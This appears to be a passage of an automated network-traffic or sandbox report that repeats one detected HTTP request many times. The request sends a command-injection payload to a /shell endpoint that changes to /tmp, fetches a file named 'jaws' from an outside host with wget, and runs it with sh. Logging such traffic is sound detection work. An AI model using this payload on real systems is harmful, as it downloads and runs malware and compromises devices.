Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
